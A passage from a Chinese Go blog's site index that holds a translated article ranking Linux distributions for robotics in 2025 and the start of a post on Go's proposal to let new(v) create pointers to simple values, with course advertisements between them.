的工程化世界，从 OpenAI SDK 到多模型 SDK，再到应用框架，让你拥有选择最佳工具的智慧。 最后，我们将用一个压轴的实战项目，将所有知识串联起来，亲手构建一个能帮你自动化处理 GitHub Issue 的 AI 助手！ 学完这门课程，你不仅能掌握用 Go 开发 AI 应用的“术”，更能建立起面向未来的“道”——一种全新的、将 AI 能力融入软件工程的思维方式。\n这份指南给了你入局的信心和方向。而我的课程，将给你开启这段旅程的钥匙和第一场酣畅淋漓的胜利。\nAI 时代，Gopher 不会缺席，更将大有可为。\n扫描下方二维码，让我们一起，将这份指南变为你代码仓库里的现实。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/18/ai-app-dev-guide-for-gopher/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/ai-app-dev-guide-for-gopher-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/18/ai-app-dev-guide-for-gopher\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/18/ai-app-dev-guide-for-gopher\"\u003ehttps://tonybai.com/2025/08/18/ai-app-dev-guide-for-gopher\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e过去两年，人工智能（AI）以前所未有的姿态，从学术的象牙塔走入了软件工程的每一个角落。以大语言模型（LLM）为代表的生成式AI以及智能体AI，正在重塑我们开发、交付甚至构思软件的方式。\u003c/p\u003e","title":"收藏级指南：Gopher AI入局路线图"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/17/best-linux-os-for-robotics-in-2025\n大家好，我是Tony Bai。\n如果你正投身于机器人技术领域，选择正确的操作系统至关重要。随着人工智能、自动化和机器学习的进步，机器人正变得前所未有的复杂。在为这些智能机器提供动力方面，Linux凭借其开源的灵活性、稳定性以及对机器人框架的广泛支持，仍然是首选。\n在本文中，我们将探讨2025年最佳的机器人Linux操作系统，帮助你为你的项目找到完美的发行版——无论你是从事工业自动化、人工智能驱动的机器人技术，还是业余爱好者的创作。我们还将介绍专注于机器人的Linux发行版的最新发展，让你保持领先。\n1. Ubuntu机器人操作系统 机器人技术正以前所未有的速度发展，改变着医疗、自动化、制造乃至太空探索等行业。任何机器人系统的基础都是其操作系统，它决定了系统的效率、安全性和性能。\nUbuntu机器人操作系统 截至2025年，Ubuntu已成为机器人领域的最佳Linux操作系统。凭借其与机器人操作系统（ROS）的无缝集成、优化的实时性能以及对AI驱动机器人技术的扩展支持，Ubuntu成为开发者、研究人员和行业的首选。\n为什么Ubuntu是机器人领域的最佳Linux操作系统 Ubuntu在机器人领域的主导地位并非偶然——它建立在多年的持续发展和强大的社区支持之上。以下是Ubuntu脱颖而出的一些关键原因：\n1. 与ROS（机器人操作系统）的无缝集成\nROS已成为使用最广泛的机器人中间件，提供了一系列工具和库，帮助开发者构建复杂的机器人应用程序。由于ROS最初就是为Ubuntu设计的，因此集成非常无缝。\nROS 2与Ubuntu：到2025年，Ubuntu为ROS 2提供了内置支持，ROS 2提供了实时功能、安全增强和对多机器人系统更好的支持。 预装ROS软件包：Ubuntu通过预配置的软件包简化了ROS的安装，为开发者节省了大量时间。 强大的开发者社区：由于Ubuntu是机器人领域使用最多的操作系统，因此有庞大的支持网络可用于故障排除、教程和协作。 2. 针对嵌入式和边缘设备进行优化\n并非所有机器人系统都是大型工业机器——许多现代机器人是需要轻量级和高效软件的小型嵌入式设备。Ubuntu Core是Ubuntu的最小化版本，专为边缘计算和嵌入式机器人技术而优化。\n基于事务的更新：Ubuntu Core提供自动、故障安全的更新，确保机器人系统保持最新状态，而不会有破坏功能的风险。 注重安全的设计：Ubuntu Core包含内置的安全功能，如应用程序沙箱和验证启动机制，这对于在敏感环境中运行的机器人至关重要。 低系统资源占用：凭借其轻量级的特性，Ubuntu Core能在小型机器人硬件上高效运行，包括树莓派（Raspberry Pi）、NVIDIA Jetson和定制AI板卡。 3. 安全性与长期维护\n安全性是机器人技术中的一个主要问题，尤其是在医疗和国防等行业。Ubuntu背后的公司Canonical提供扩展安全维护（ESM），确保基于Ubuntu的机器人系统获得长期的安全更新。\n定期安全补丁：这可以防止可能被黑客利用的漏洞，使Ubuntu成为机器人项目最安全的选择之一。 行业采用：许多航空航天、汽车和工业自动化公司因其安全优先的方法而信任Ubuntu。 4. 硬件兼容性与行业采用\nUbuntu支持广泛的硬件，从AI驱动的机械臂到自动驾驶无人机。无论你是在开发工业机器人还是个人助理机器人，Ubuntu都为大量的传感器、执行器和计算单元提供驱动程序、库和支持。\n可与流行的硬件平台配合使用，例如：\nNVIDIA Jetson AI驱动的机器人套件 树莓派（用于小型机器人项目） Intel RealSense（用于3D深度感应机器人） 定制的基于ARM的机器人系统 因为Ubuntu是一个开源操作系统，制造商也可以为其特定的机器人应用定制内核并进行优化。\nUbuntu机器人技术的最新发展（2025年） 过去一年，Ubuntu的机器人技术生态系统取得了显著进步。以下是2025年一些最激动人心的更新：\n1. 针对机器人技术的实时内核增强\n实时性能在机器人技术中至关重要，微秒之差可能决定机器人是平稳运行还是彻底失败。2025年，Ubuntu引入了改进的实时内核支持，确保机器人应用满足低延迟处理要求。\n更快的响应时间：改进后的内核确保机器人的运动和决策能够无延迟地发生。 为多任务机器人提供更好的调度：对于同时执行多项操作的工业机器人非常有用。 增强的稳定性：减少机器人功能中的意外崩溃和延迟。 2. AI与机器学习集成\n现代机器人依赖于AI驱动的决策，Ubuntu已采取重要措施来优化机器人在机器学习方面的能力。\n内置的AI库，如TensorFlow、PyTorch和OpenCV，都为Ubuntu进行了预配置。 ROS 2现在包含了基于AI的运动规划和计算机视觉改进。 边缘AI支持：机器人可以在本地处理AI任务，而不是依赖云计算，从而减少延迟并改善实时决策。 3. 扩展对机器人硬件的支持\nUbuntu已扩大其硬件支持范围，包括更多的工业机械臂、自动驾驶车辆和人形机器人。开发者现在可以将Ubuntu用于更广泛的机器人组件，包括：\n用于自动驾驶机器人的LIDAR传感器 用于云连接机器人的5G连接支持 用于基于感知的机器人的高级摄像头和深度感应模块 通过这种扩展的兼容性，Ubuntu可以加快机器人应用程序的原型设计和部署。\n机器人社区对Ubuntu的评价\n机器人社区因其可靠性、灵活性和强大的开发者生态系统而广泛接受Ubuntu。\n许多机器人专家认为精通Linux是必备技能，因为大多数机器人工具都是为Ubuntu构建的。 在Reddit和Stack Overflow等论坛的讨论中，经常强调Ubuntu相比其他操作系统选项提供了更好的支持、库和长期稳定性。 NASA、特斯拉和波士顿动力等公司都使用Ubuntu进行机器人研究和开发。 Ubuntu是机器人技术的未来\n凭借以下优势，Ubuntu已在2025年牢固确立了其作为最佳机器人Linux操作系统的地位：\n无缝的ROS 2集成 支持实时计算 AI和机器学习优化 增强的安全性和长期维护 广泛的行业采用 无论你是在构建自动驾驶无人机、工业机器人，还是以研究为中心的AI驱动机器人系统，Ubuntu都为成功提供了最佳基础。\n如果你计划进入机器人领域，学习Ubuntu、ROS和AI驱动的机器人开发是你能做出的最明智的决定。\n2. Debian机器人操作系统 在快速发展的机器人世界中，选择正确的操作系统可以决定一个项目的成败。机器人工程师、研究人员和爱好者需要一个不仅稳定可靠，而且配备最新工具和库以支持开发的操作系统。在2025年，Debian机器人操作系统已成为机器人领域最佳的基于Linux的操作系统，提供了无与伦比的稳定性、灵活性和尖端软件支持的组合。\nDebian机器人操作系统\n为什么选择Debian用于机器人技术？ Debian长期以来以其对自由和开源软件的承诺而闻名，这使其成为机器人开发者的一个有吸引力的选择。与专有系统不同，Debian确保了对庞大工具库的无限制访问，允许开发者在没有许可限制的情况下进行实验、创新和协作。\n以下是Debian在2025年成为机器人领域首选Linux发行版的原因：\n稳定性和可靠性：Debian以其严格的测试过程而闻名。每个稳定版本都经过广泛审查，确保机器人应用程序平稳、一致地运行。 全面的软件包仓库：Debian维护着最大的软件仓库之一，其中包括数千个专门为机器人应用设计的软件包。 社区支持：一个强大而活跃的Debian社区为持续的改进、错误修复和功能增强做出贡献，使机器人开发者更容易解决问题和改进他们的项目。 安全性和性能：Debian增强的安全功能确保机器人系统免受潜在威胁，这在工业自动化和自主系统等关键应用中尤为重要。 与ROS的无缝集成\n机器人操作系统（ROS）是现代机器人开发的支柱。它提供了必要的工具、库和驱动程序，帮助开发者高效地创建复杂的机器人应用程序。Debian与ROS的深度集成确保了无缝的开发体验，允许用户在没有兼容性问题的情况下利用ROS的功能。\nDebian的包管理系统使安装ROS变得简单直接。Debian科学团队积极维护一个专门用于机器人相关软件包的仓库，确保用户始终能访问到最新版本的基本工具。\n对于那些从事高级机器人系统开发的开发者来说，Debian对ROS 2（ROS的下一代版本）的支持确保了与更新框架的兼容性、增强的实时性能和改进的安全功能。\nDebian机器人技术的最新发展 Debian机器人技术在2025年持续发展，取得了显著进步。以下是一些最新的更新：\n1. 扩展的机器人软件包仓库\nDebian科学团队一直在积极扩展机器人软件包仓库。此次更新包括了流行工具的新的和改进的版本，例如：\nGazebo – 一款强大的仿真工具，用于在虚拟环境中测试机器人应用。 MoveIt! – 一个广泛用于机械臂和操纵器的运动规划框架。 OpenCV – 这个计算机视觉库的最新版本现已针对机器人应用中的更佳性能进行了优化。 Navigation Stack – 升级的模块，用于改进自主机器人的路径规划和避障功能。 通过这些更新，开发者无需安装第三方仓库即可访问最前沿的工具。\n2. 实时内核支持\n实时处理对于机器人技术至关重要，精确的计时和快速的响应率是必不可少的。Debian现在正式支持实时Linux内核（RT-PREEMPT），允许开发者以最小的延迟运行对时间敏感的机器人应用程序。\n这项更新对于工业机器人、机器人手术和自主无人机尤其有益，因为在这些领域，即使是毫秒级的延迟也可能导致严重问题。\n3. 增强的安全功能\n随着机器人更多地融入工业和智能环境，安全风险也随之增加。作为回应，Debian为机器人系统引入了先进的安全功能，包括：\n强制访问控制（MAC） – 强制执行严格的安全策略，以防止对机器人系统的未授权访问。 安全启动支持 – 确保只有经过验证和信任的软件才能在机器人硬件上运行。 自动安全更新 – 实时保护机器人应用免受漏洞和新兴威胁的侵害。 凭借这些增强功能，Debian机器人操作系统现在成为依赖机器人进行自动化、医疗和国防的行业的一个更安全的选择。\n社区与支持\nDebian最大的优势之一是其社区驱动的开发模式。与专有机器人软件不同，Debian受益于全球数千名开发者和研究人员对其改进的贡献。Debian科学邮件列表、论坛和Git仓库是宝贵的资源，用户可以在这些地方讨论问题、分享解决方案和协作项目。\nDebian科学团队还确保Debian机器人操作系统与最新的技术进步保持同步，使初学者和专家都能更容易地开始机器人开发。\n为什么在2025年选择Debian机器人操作系统？ Debian机器人操作系统不仅仅是一个操作系统；它是一个生态系统，使开发者、研究人员和企业能够充满信心地构建先进的机器人系统。从其无缝的ROS集成和实时内核支持，到其强大的安全功能和广泛的软件包仓库，Debian为2025年的机器人开发提供了一切所需。\n无论你是从事自主机器人、工业自动化还是AI驱动的机器人应用，Debian机器人操作系统都提供了一个稳定、安全和强大的基础，以构建机器人技术的未来。\n你在项目中使用Debian机器人操作系统吗？在下面的评论中分享你的想法和经验吧！\n3. 基于ROS的发行版 (ROS 2) 机器人操作系统（ROS）一直是机器人行业的变革者，为开发机器人应用程序提供了一个强大而灵活的框架。多年来，ROS 2已发展成为致力于尖端机器人解决方案的开发者、研究人员和公司的首选。\n基于ROS的发行版 (ROS 2) 当我们进入2025年，ROS 2发行版已经成熟，提供了改进的实时能力、增强的安全性和更广泛的兼容性。如果你正在寻找最佳的机器人Linux操作系统，本指南将带你了解最新的ROS 2发行版、它们的特性以及运行它们的理想Linux发行版。\n理解ROS 2发行版 ROS 2发行版是ROS 2框架的定期发布版本，包含了最新的改进、安全补丁和功能升级。\n每个发行版都有一个定义的生命周期，通常每两年提供一次长期支持（LTS），而非LTS版本则作为实验性功能的测试平台。选择正确的ROS 2发行版取决于项目稳定性要求、硬件兼容性和功能需求等因素。\n2025年的关键ROS 2发行版\n1. Jazzy Jalisco (LTS) – 2024年5月23日发布\n最新的LTS版本Jazzy Jalisco，将获得五年的支持，使其成为工业应用和长期项目的最佳选择。它引入了：\n针对时间敏感机器人操作的先进实时能力 通过加密通信和认证功能增强的安全性 扩展了对不同硬件平台的兼容性 更好的中间件支持，以提高性能和可伸缩性 2. Iron Irwini (非LTS) – 2023年5月23日发布\n虽然Iron Irwini不是LTS版本（支持期1.5年），但它充当了新创新的试验场。希望尝试尖端机器人功能的开发者可以从中受益：\n更快的开发周期和频繁的更新 实验性的中间件改进 提前接触可能包含在未来LTS版本中的功能 3. Humble Hawksbill (LTS) – 2022年5月23日发布\nHumble Hawksbill在2025年仍然是一个受欢迎的选择，因为它将获得支持直到2027年。它在以下方面发挥了关键作用：\n改进中间件通信协议 改进工具和调试能力 在基于ARM的平台上有更好的性能 对于在Humble上启动的项目，迁移到Jazzy Jalisco可以确保长期稳定性。\nROS 2的最新发展（2025年） ROS 2持续发展，为机器人技术生态系统带来了几项关键改进：\n1. 实时支持\n凭借改进的实时调度，ROS 2现在可以处理更复杂的机器人任务，并具有确定性的性能。\n2. 安全性增强\n通过安全的通信协议和更好的认证机制，ROS 2现在比以往任何时候都更安全，解决了工业机器人和自动驾驶汽车中的安全问题。\n3. 跨平台兼容性\n虽然Ubuntu仍然是主要的操作系统，但ROS 2已将其支持扩展到Debian、Fedora、Windows甚至macOS。\n4. 更好的中间件性能\nDDS（数据分发服务）中的中间件改进增强了大型机器人系统中的延迟、可靠性和可伸缩性。\n随着机器人技术的不断进步，ROS 2仍然是行业领先的框架，其中Jazzy Jalisco（LTS）是2025年的首选。\n对于ROS 2的最佳Linux操作系统，Ubuntu 22.04 LTS作为最稳定和得到最广泛支持的选项脱颖而出。然而，开发者也可以灵活选择Debian、Fedora和Arch Linux。\n随着在实时性能、安全性和跨平台支持方面的持续改进，ROS 2正在塑造2025年及以后机器人技术的未来。保持对最新发展的了解，可以确保你的机器人项目保持未来竞争力。\n4. Fedora机器人操作系统 在不断发展的机器人世界中，选择正确的操作系统对于无缝开发和部署至关重要。截至2025年，Fedora机器人操作系统凭借其专门的工具、强大的社区支持和对开源原则的承诺，已成为机器人领域最强大的Linux发行版之一。无论你是尝试自主机器人的业余爱好者，还是开发工业自动化解决方案的专业人士，Fedora机器人操作系统都提供了一个量身定制的综合平台，以满足你的需求。\nFedora机器人操作系统\n为什么Fedora机器人操作系统脱颖而出 Fedora机器人操作系统是Fedora项目的一个专门分支，专为机器人专家设计。它提供了一套精心策划的软件包，涵盖了机器人技术的各个方面，从仿真到硬件接口。以下是Fedora机器人操作系统在2025年广受欢迎的关键原因：\n1. 全面的软件套件\nFedora机器人操作系统包含一套广泛的预装软件包，使开发者可以轻松上手，而无需花费数小时设置环境。Fedora机器人操作系统中的一些核心工具包括：\nGazebo – 一款强大的3D机器人模拟器，使开发者能够在虚拟环境中测试机器人应用程序。 OpenCV – 广泛用于图像处理和机器学习任务的计算机视觉库。 Arduino IDE – 用于编程微控制器的流行开发环境。 Player/Stage – 在学术界和研究中广泛使用的仿真工具。 Gazebo, V-REP, and Webots – 先进的机器人仿真软件，用于训练AI模型和在虚拟环境中测试算法。 2. 与ROS（机器人操作系统）的无缝集成\nFedora机器人操作系统的最大优势之一是其与ROS的无缝集成，ROS是使用最广泛的机器人软件框架。ROS提供了一些基本服务，例如：\n硬件抽象 – 使控制传感器、电机和执行器变得更加容易。 底层设备控制 – 提供对机器人硬件组件的直接访问。 进程间通信 – 促进不同机器人模块和进程之间的无缝通信。 Fedora机器人操作系统预配置了最新版本的ROS 2，确保与尖端的机器人应用兼容。这种集成使开发者能够利用广泛的ROS生态系统，包括库、驱动程序和可视化工具。\n3. 强大的社区支持\nFedora机器人操作系统得益于一个由开发者、研究人员和机器人爱好者组成的活跃社区。Fedora机器人特别兴趣小组（SIG）致力于确保Fedora用户能够获得最新的机器人软件和更新。该小组积极维护Fedora的机器人软件包，提供教程，并帮助用户解决问题。\nFedora机器人技术的最新发展 Fedora机器人团队一直积极地将该领域的最新进展融入其中。2025年一些最显著的更新包括：\n1. 增强的仿真工具\n仿真在机器人开发中起着至关重要的作用，它允许开发者在物理机器人上部署算法之前进行测试。Fedora机器人操作系统通过集成以下内容显著改善了其仿真能力：\nIgnition Gazebo – 一款提供高保真物理和传感器仿真的高级模拟器。 AI驱动的仿真环境 – 支持基于机器学习的仿真，机器人可以在其中学习并适应环境。 2. 改进的硬件支持\n随着机器人硬件的迅速扩展，Fedora机器人操作系统已包括对以下内容的支持：\n新的机器人传感器和执行器 – 确保软件和硬件组件之间的无缝通信。 树莓派和Jetson Nano优化 – Fedora机器人操作系统现在在低功耗硬件上运行更高效，非常适合DIY机器人项目。 扩展的驱动程序支持 – Fedora机器人操作系统现在包括用于机械臂、激光雷达传感器和人形机器人的额外驱动程序。 3. 教育资源和教程\n了解到机器人技术对初学者可能具有挑战性，Fedora机器人操作系统在教育资源上投入了大量资金。这些资源包括：\n分步教程 – 涵盖从设置开发环境到编程机器人运动的所有内容。 交互式学习模块 – 用户可以在虚拟训练环境中练习为不同的机器人任务编写代码。 在线社区论坛和黑客马拉松 – 为开发者提供协作、学习和分享见解的空间。 为什么开发者更喜欢Fedora机器人操作系统而非其他Linux发行版\n机器人社区经常争论用于开发的最佳操作系统。虽然像Ubuntu和Debian这样的其他Linux发行版被广泛使用，但Fedora机器人操作系统具有明显的优势：\n最新的内核和软件包 – Fedora以跟上最新技术而闻名，确保开发者能够访问尖端功能。 为性能和安全优化 – Fedora的安全特性使其成为工业和研究应用的首选。 使用DNF实现无缝包管理 – Fedora的包管理系统效率高，减少了在其他发行版中经常遇到的依赖问题。 此外，基于Linux的操作系统通常比Windows更受机器人开发者的青睐，因为它们提供：\n更好地控制操作系统功能 – 直接访问系统资源。 更简便的依赖管理 – 简化了机器人库的安装。 开源的灵活性 – 可根据项目需求进行完全定制。 Fedora机器人操作系统无疑是2025年最佳的机器人Linux发行版之一。凭借其广泛的软件套件、强大的ROS集成、改进的硬件支持和活跃的社区，它为机器人专家开发、测试和部署他们的项目提供了一个理想的环境。\n随着机器人技术的不断发展，Fedora机器人操作系统仍然致力于走在创新的前沿，使其成为有抱负的和专业的机器人专家的首选。如果你正在寻找一个强大、可靠且面向未来的机器人Linux操作系统，Fedora机器人操作系统是完美的选择。\n5. 用于机器人的OpenEmbedded Linux (Yocto) 机器人领域正以前所未有的速度发展，人工智能、自动化和边缘计算的进步推动了对强大且可定制的操作系统的需求。在2025年，由Yocto项目驱动的OpenEmbedded Linux，作为机器人领域最佳的基于Linux的操作系统之一脱颖而出。它提供灵活性、可扩展性和优化性能的能力，使其成为从事机器人应用的开发者的首选。\n用于机器人的OpenEmbedded Linux (Yocto) 如果你参与机器人开发——无论是在工业自动化、自动驾驶汽车、无人机还是AI驱动的机器人系统中——了解OpenEmbedded Linux和Yocto的能力将至关重要。在这篇博文中，我们将深入探讨OpenEmbedded Linux（Yocto）如何成为机器人的理想操作系统，探索其最新发展，并讨论其对机器人行业的影响。\n什么是OpenEmbedded Linux和Yocto项目？ OpenEmbedded Linux\nOpenEmbedded是一个开源的构建框架和交叉编译环境，专为创建针对嵌入式设备的Linux发行版而设计。与Ubuntu或Fedora等通用Linux发行版不同，OpenEmbedded允许开发者专门为他们的硬件和应用需求定制和优化他们的Linux构建。\nYocto项目\nYocto项目由Linux基金会于2010年发起，是一个与OpenEmbedded协同工作的合作项目，旨在简化和标准化为嵌入式和物联网设备定制Linux发行版的开发。以BitBake为核心构建系统，Yocto项目为开发者提供工具、模板和最佳实践，以创建最小化、高效且针对硬件优化的基于Linux的操作系统。\n对于机器人开发者来说，OpenEmbedded和Yocto项目的结合使他们能够创建为机器人应用量身定制的轻量、快速且针对特定硬件的Linux发行版。\n为什么OpenEmbedded Linux (Yocto)是2025年机器人的理想选择 高度定制化与模块化\n与传统的Linux发行版（预装了软件和功能）不同，OpenEmbedded Linux让开发者可以构建一个只包含其机器人系统所需内容的发行版。 这种模块化的方法确保了一个优化且轻量级的操作系统，从而提升性能。 硬件抽象与兼容性\n机器人项目通常涉及各种各样的硬件组件，从传感器和执行器到专用处理器和AI加速器。 OpenEmbedded的基于层的结构使开发者能够创建板级支持包（BSP），从而可以轻松地与不同的硬件架构集成。 长期支持与安全性\nYocto项目定期发布带有安全补丁的LTS（长期支持）版本，使其成为机器人应用的一个安全稳定的选择。 安全性是机器人技术中的一个主要问题，尤其是在自主系统和工业自动化中，而OpenEmbedded Linux提供了安全启动、内核加固和访问控制策略等功能。 更好的资源效率\n机器人应用通常在低功耗和资源受限的硬件上运行。 OpenEmbedded Linux允许开发者创建极简的Linux构建，减少系统开销并最大化效率。 强大的社区与行业采用\nYocto项目得到了嵌入式Linux社区和英特尔、高通、恩智浦和德州仪器等主要行业参与者的强力支持。 这意味着为机器人开发者提供了持续的改进、广泛的文档和长期的可靠性。 OpenEmbedded Linux在机器人技术领域的最新发展（2025年） 1. 上游Linux对机器人硬件的支持\n在2025年，像Linaro和高通这样的公司通过将对高通机器人RB5等机器人平台的支持上游化，为OpenEmbedded Linux做出了重大贡献。这一发展确保了下一代机器人系统更好的兼容性、实时处理和AI集成。\n2. 改进的培训与学习资源\n随着基于Yocto的Linux系统的日益普及，Bootlin和Yocto项目社区等组织推出了新的培训项目、研讨会和在线课程。这些资源使开发者更容易为机器人项目学习、实施和优化OpenEmbedded Linux。\n3. 扩展的AI与机器学习能力\nOpenEmbedded Linux在集成AI和机器学习框架（如TensorFlow Lite和ROS 2（机器人操作系统））方面取得了重大改进。这使得机器人系统能够执行边缘AI推理、实时决策和高级自动化。\n4. 全行业采用与标准化\n许多机器人公司和研究机构已转向使用基于Yocto的Linux发行版作为其嵌入式机器人平台。这一转变正在帮助创建一个更加标准化的软件生态系统，减少碎片化并改善机器人设备间的兼容性。\nOpenEmbedded Linux在机器人技术中的应用 工业自动化\nOpenEmbedded Linux正在为需要高性能计算、实时处理和强大安全功能的新一代自动化制造机器人提供动力。\n自动驾驶汽车与无人机\n机器人公司正在使用基于Yocto的Linux来开发自主无人机和自动驾驶汽车，确保低延迟通信和AI驱动的导航。\n医疗机器人\n医疗机器人，如手术机器人和康复设备，受益于OpenEmbedded Linux提供安全、实时和稳定操作系统环境的能力。\nAI驱动的家庭与服务机器人\n智能助手、配送机器人和其他AI驱动的机器人解决方案利用OpenEmbedded Linux进行定制化的AI模型和实时的语音/图像处理。\nOpenEmbedded Linux是2025年最佳的机器人操作系统吗？ 随着机器人行业的不断扩大，对可定制、轻量级和高性能操作系统的需求比以往任何时候都更加关键。由Yocto项目驱动的OpenEmbedded Linux无疑是2025年机器人领域最佳的Linux操作系统。\n其提供针对特定硬件的优化、实时处理、安全性和AI集成的能力，使其成为全球机器人专家、工程师和开发者的首选。随着持续的进步和行业采用，OpenEmbedded Linux必将在未来几年塑造机器人技术的未来。\n如果你正在开发一个机器人项目，并且需要一个可扩展且高效的Linux操作系统，那么OpenEmbedded Linux (Yocto)是2025年的最佳选择。\n下一步是什么？\n探索OpenEmbedded Linux：https://www.openembedded.org/wiki/Main_Page\n了解更多关于Yocto项目的信息：www.yoctoproject.org\n开始开发：Yocto文档\n你在机器人项目中使用OpenEmbedded Linux吗？在下面的评论中分享你的想法和经验吧！\n结论 在2025年选择最佳的机器人Linux操作系统取决于你的具体需求。如果你需要一个支持良好、对初学者友好的选项，Ubuntu机器人操作系统是你的不二之选。对于稳定性和长期项目，Debian机器人操作系统是一个绝佳的选择。那些从事AI驱动或实验性机器人技术的人应该考虑Fedora机器人操作系统，而嵌入式系统开发者可以依赖基于Yocto的Linux发行版。随着ROS 2、AI和实时内核优化的不断进步，Linux仍然是塑造机器人技术未来的首选操作系统。\n免责声明 本文中的信息基于截至2025年的最新可用更新。2025年最佳的机器人Linux操作系统可能因特定的硬件、软件更新和项目要求而异。在选择操作系统之前，请务必验证其与你的机器人框架的兼容性。本文仅供参考，不构成专业建议。\n本文翻译自文章《Best Linux OS for Robotics in 2025》- https://techrefreshing.com/best-linux-os-for-robotics-in-2025/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/08/17/best-linux-os-for-robotics-in-2025/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/best-linux-os-for-robotics-in-2025-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/08/17/best-linux-os-for-robotics-in-2025\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/08/17/best-linux-os-for-robotics-in-2025\"\u003ehttps://tonybai.com/2025/08/17/best-linux-os-for-robotics-in-2025\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e如果你正投身于机器人技术领域，选择正确的操作系统至关重要。随着人工智能、自动化和机器学习的进步，机器人正变得前所未有的复杂。在为这些智能机器提供动力方面，Linux凭借其开源的灵活性、稳定性以及对机器人框架的广泛支持，仍然是首选。\u003c/p\u003e","title":"2025年最佳机器人Linux操作系统——顶级发行版与最新进展！"},{"content":"\n本文永久链接 – https://tonybai.com/2025/08/17/create-pointer-to-simple-types\n大家好，我是Tony Bai。\n在 Go 中创建一个指向基本类型（如 int 或 string）的指针，为何比创建一个指向结构体的指针更繁琐？这个长期存在的“人体工程学”问题，由 Go 语言的共同创造者之一 Rob Pike 在提案 #45624 中再次带入公众视野，并由此引发了一场长达数年、充满深度思辨的社区大讨论。最终，在权衡了多种方案的利弊后，社区逐渐形成共识，Go 提案委员会倾向于接受 new(v) 语法。本文将和大家一起回顾这场关于指针初始化的“十年之辩”，深入探讨各种方案的优劣，并解读为何 new(v) 可能成为最终赢家。\n背景：一个困扰开发者多年的“小”问题 在 Go 中，我们可以用 p := \u0026amp;S{a: 3} 这样简洁的语法，一步到位地创建一个指向已初始化结构体的指针。但如果我们想创建一个指向 int 值 3 的指针，就必须写成：\na := 3 p := \u0026amp;a 这种不对称性在处理大量使用指针来表示“可选”字段的场景时（例如，与 JSON、Protobuf 或 AWS SDK 交互），会变得异常繁琐。开发者往往不得不在项目中定义或引入大量的辅助函数，如：\nfunc StringPtr(s string) *string { return \u0026amp;s } // 还有 Int64Ptr, BoolPtr, Float64Ptr... 正如 @adonovan 在提案讨论中通过代码分析所展示的，这种模式在 Go 开源生态中极为普遍，存在数千个这样的辅助函数和数十万次的调用。这清晰地表明，语言层面提供一个更简洁的解决方案是众望所归。\n方案之争：一场关于语法、语义与哲学的辩论 Rob Pike 的提案及其漫长的讨论过程，涌现了多种解决方案，每种方案都代表了一种不同的语言设计哲学。\n方案一：扩展 \u0026amp; 操作符 这是最直观的想法，主要有两种变体：\n\u0026amp;T(v) (让类型转换变得可寻址): p := \u0026amp;int(3)。这是 Rob Pike 最初提出的方案之一。它利用了“类型转换必然会创建新值”这一语义，逻辑自洽。 \u0026amp;v (让非地址表达式变得可寻址): p := \u0026amp;3 或 p := \u0026amp;time.Now()。这个方案更通用，但也最危险。正如 rsc 和其他核心成员指出的，这会产生严重的歧义。例如，\u0026amp;m[k] 在 m 是 slice 时是取地址，但在 m 是 map 时却变成了“拷贝值并取地址”，这会引入大量难以察觉的 bug。 由于存在严重的“最小惊动原则”问题，扩展 \u0026amp; 的方案最终未被采纳。\n方案二：引入新的泛型内建函数 随着 Go 1.18 泛型的引入，一个显而易见的解决方案是提供一个泛型辅助函数。\n// 可以是内置的，也可以是开发者自己写的 func ptr[T any](v T) *T { return \u0026amp;v } // 使用方式: p := ptr(3) p2 := ptr(time.Now()) 这个方案得到了许多开发者的支持，因为它无需对语言规范做任何大的改动。然而，它的缺点也很明显：\n命名之争：应该叫 ptr, ref, addr, newOf 还是 varOf？每种名称都有其支持者和反对者。例如，ptr 和 ref 可能会让人误以为是取现有变量的引用，而不是创建一个新的拷贝。 标准库位置：这样一个基础的函数应该放在哪里？builtin？还是一个新的标准库包？这本身就是一个难题。 方案三：扩展 new 内建函数 (最可能的胜出者) 这是提案的核心，也是最终获得Go提案委员会青睐的方向。它同样有几种变体：\nnew(T, v)：new 接受一个可选的第二个参数用于初始化。例如 p := new(int, 3)。这非常明确，但缺点是类型 T 往往是冗余的，显得很“啰嗦”，例如 new(time.Duration, time.Second)。 new(v)：new 可以直接接受一个值，并根据值的类型推断出要分配的指针类型。例如 p := new(3) 会创建一个 